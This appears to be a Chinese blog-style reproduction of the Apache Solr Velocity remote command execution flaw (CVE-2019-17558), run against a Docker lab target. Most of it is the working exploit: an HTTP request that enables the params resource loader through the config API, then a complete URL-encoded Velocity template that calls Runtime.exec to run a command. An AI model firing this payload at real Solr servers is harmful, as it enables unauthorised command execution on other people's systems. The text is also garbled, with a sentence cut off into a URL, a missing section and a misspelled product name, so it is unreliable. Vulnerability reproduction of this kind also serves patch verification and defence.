Apache Solr Velocity 漏洞（CVE-2019-17558）如何导致远程命令执行风险？

本文共计434个文字，预计阅读时间需要2分钟。

Apache Solr简介Solr是一个独立的、企业级的搜索应用服务器，它对外提供类似web-service的API接口。用户可以通过HTTP请求，向搜索引擎提交一定格式的XML文件，生成索引。

一、Apache Solr介绍

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通过www.cnblogs.com/yuzly/p/11782608.html)

三、漏洞影响版本

Apache Solr 5.x - 8.2.0，存在config API版本

四、漏洞复现

靶机IP ：192.168.200.130

1、启动环境，这里直接使用docker搭建

路径：solr/CVE-2019-17558

启动一个Apache Solr 8.2.0服务器：

列出相应容器

docker-compose ps

登录solr服务器

your-ip:8983

2、利用默认的demo

默认情况下`params.resource.loader.enabled`配置未打开，无法使用自定义模板。我们先通过如下API获取所有的核心：

your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

3、开启 params.resource.loader.enabled

其中API路径包含刚才获取的core名称

POST /solr/demo/config HTTP/1.1 Host: solr:8983 Content-Type: application/json Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } } 4、查看demo的配置

可以看到，`params.resource.loader.enabled` 已经开启

5、注入Velocity模板执行任意命令

your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

在exec函数里可以执行任意代码：

五、修复建议

建议升级Appache Salc到最新版